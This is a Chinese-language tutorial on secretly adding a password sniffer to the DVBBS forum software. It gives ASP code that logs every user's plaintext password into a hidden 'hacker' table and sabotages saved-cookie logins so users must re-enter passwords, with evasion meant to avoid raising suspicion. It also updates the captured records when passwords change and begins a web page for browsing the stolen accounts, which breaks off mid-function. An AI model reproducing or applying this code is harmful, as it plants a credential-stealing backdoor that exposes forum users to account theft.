为动网论坛添加一个密码嗅探器(DVBBS)

2024-09-28 06:13:45

动网先锋论坛，凭借其强大全面的功能，再加上它免费提供给个人用户，在网络众多论坛中，独树一帜。很多人都把它作为自己论坛的最佳首选。但是新版本的论坛，对用户密码采用了不可逆的MD5加密，即使是管理员，也无法查询到个人用户的密码。再数据库中只能查询了加密后的结果。

先描述一下它得登陆过程，用户输入帐号后号，调用MD5函数，输入的密码加密，然后比较存储在数据库的数据和密码加密的结果是否相同。如果相同，登陆成功，将个人信息保存在COOKIE中。

现在我们要自己动手，为论坛增加一项记录密码的功能。

查看它登陆系统的文件 login.asp 的源文件。验证过程是直接调用chklogin() 函数的。跟进chklogin() 函数，可以看到前面几句是检查用户是否完整输入，接着就是：

password=md5(trim(checkStr(request("password"))))

就是这句调用了MD5加密函数，对用户提交的密码加密。我们要记录未加密的代码，就需要把自己的代码加到这一句的前面。先别急着写代码，因为我们要把密码存贮在数据库中，所以要先在数据库中假如我们自己的表。

打开动网的数据库文件，因为我们只要在这个表中保存两项内容：用户名和密码，所以打开“使用设计器创建表”，字段名称分别输入user，pass，数据类型为文本。然后保存表，取名为hacker。

下面我们就可以在ASP程序中使用SQL命令，把用户名和密码添加到我们刚才创建的表中去。我们只要在上面那段代码前面加上下面这两句：

‘先查询数据库，检查该用户的密码是否已经被记录，以避免重复添加

set rs=conn.execute("select user from hacker where user="&request("username")&"")

if rs.eof and rs.bof then

‘如果没有，就把用户名和密码插入到我们刚才创建的表中

sql="insert into hacker (user,pass) values ("&request("username")&","&request("password")&")"

conn.execute(sql)

rs.close

else

end if

通过上面的代码，用户每次登陆的时候，用户名和密码就都会被自动添加到我们创建的表hacker中去了。

但是，动网论坛还有个功能，就是可以利用COOKIE保存登陆信息一天，一个月，或者一年，这样就不用每次访问都要输入账号了，当然我们也不想让这一部分用户的密码漏掉，所以我们要想办法让它的COOKIE失效，这样他就必须通过我们修改过的文件登陆了。

动网论坛对COOKIE检查的代码是保存在 \INC\const.asp 文件中的，我们打开查看它的源文件。

membername=checkStr(request.cookies("aspsky")("username"))

memberclass=checkStr(request.cookies("aspsky")("userclass"))

memberword=checkStr(request.cookies("aspsky")("password"))

[$nbsp][$nbsp][$nbsp][$nbsp]这三句就是用来检查保存在用户COOKIE中的信息的，我们只要改变任意一个变量，就可让它的登陆失效。我就在第二句后面添加了下面这几句代码：

‘检查用户的账号是否已经被记录，如果没有，修改它的密码变量为用户名

set rs=conn.execute("select user from hacker where user="&membername&"")

if rs.eof and rs.bof then

memberword=checkStr(request.cookies("aspsky")("username"))

rs.close

else

‘如果已经被记录了，COOKIE验证一切正常，这样也就不会因为COOKIE彻底失效而引起用户的怀疑

memberword=checkStr(request.cookies("aspsky")("password"))

end if

记录用户账号的代码我们基本上就完成了，只要用户一登陆，他的账号就会直接加入我们的数据库中了。不过我们还漏掉了一点，就是如果用户修改了密码，我们记录的密码就过期了，我们的记录程序是无法判断密码是否被修改的。所以我们还要继续改造我们修改密码的程序modifypsw.asp

rs("userpassword")=password

rs("quesion")=quesion

rs("answer")=answer

rs.Update

上面这段代码就是更新密码的代码了。我们分析一下：只有用户登陆后才可以修改密码，既然登陆了，我们的数据库中就一定记录得他的密码，所以不管他密码改成什么，我们只需要更新一下我们的数据库就行了，所以在上面这四句代码前面，加上下面这两句：

[$nbsp][$nbsp]‘注意，这里我们之所以不用变量password,因为它是经过MD5加密的结果

sql = "update hacker set pass="&request("psw")&" where user="&membername&""

conn.execute(sql)

最后我们不可能每次打开数据库去查询用户的密码，所以我们还要自己写一个asp程序，用来通过WEB界面查询用户的密码。

下面是我自己写的asp代码，借用了动网论坛用来模糊查询的一个函数。可以直接搜索用户名获取账号或者显示全部记录了的账号。

‘动网用来模糊查询的函数translate()

public function translate(sourceStr,fieldStr)

[$nbsp][$nbsp]dim sourceList

[$nbsp][$nbsp]dim resultStr

[$nbsp][$nbsp]dim i,j

[$nbsp][$nbsp]if instr(sourceStr," ")>0 then

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]dim isOperator

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]sourceList=split(sourceStr)

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]--------------------------------------------------------

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write "num:" & cstr(ubound(sourceList)) & "<br>"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]for i = 0 to ubound(sourceList)

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write i

[$nbsp][$nbsp][$nbsp][$nbsp]Select Case ucase(sourceList(i))

[$nbsp][$nbsp][$nbsp][$nbsp]Case "AND","&","和","与"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " and "